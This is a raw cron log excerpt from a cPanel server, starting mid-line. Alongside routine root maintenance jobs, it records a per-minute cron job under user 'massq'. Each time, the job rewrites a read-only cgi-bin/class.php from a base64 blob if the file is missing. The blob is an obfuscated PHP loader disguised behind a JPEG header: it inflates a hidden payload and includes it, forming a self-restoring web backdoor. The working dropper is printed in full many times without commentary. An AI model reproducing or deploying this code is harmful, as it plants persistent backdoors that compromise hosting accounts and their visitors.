qICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:16:01 server CROND[24942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:17:01 server CROND[25342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:17:01 server CROND[25343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:17:01 server CROND[25344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:18:01 server CROND[25729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:18:01 server CROND[25730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:18:01 server CROND[25731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:19:01 server CROND[26108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:19:01 server CROND[26109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:19:01 server CROND[26110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:20:01 server CROND[26495]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 00:20:01 server CROND[26497]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:20:01 server CROND[26508]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:20:01 server CROND[26513]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 00:20:01 server CROND[26517]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 00:20:01 server CROND[26519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:20:01 server CROND[26516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:20:01 server CROND[26521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:20:01 server CROND[26515]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 00:21:01 server CROND[27352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:21:01 server CROND[27353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:21:01 server CROND[27354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:22:01 server CROND[27809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:22:01 server CROND[27811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:22:01 server CROND[27812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:23:01 server CROND[28183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:23:01 server CROND[28184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:23:01 server CROND[28185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:24:01 server CROND[28543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:24:01 server CROND[28544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:24:01 server CROND[28545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:25:01 server CROND[28923]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 00:25:01 server CROND[28922]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:25:01 server CROND[28931]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:25:01 server CROND[28935]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 00:25:01 server CROND[28936]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 00:25:01 server CROND[28938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:25:01 server CROND[28937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:25:01 server CROND[28939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:26:01 server CROND[29755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:26:01 server CROND[29756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:26:01 server CROND[29757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:27:01 server CROND[30232]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 00:27:01 server CROND[30233]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:27:01 server CROND[30234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:27:01 server CROND[30235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:28:01 server CROND[30672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
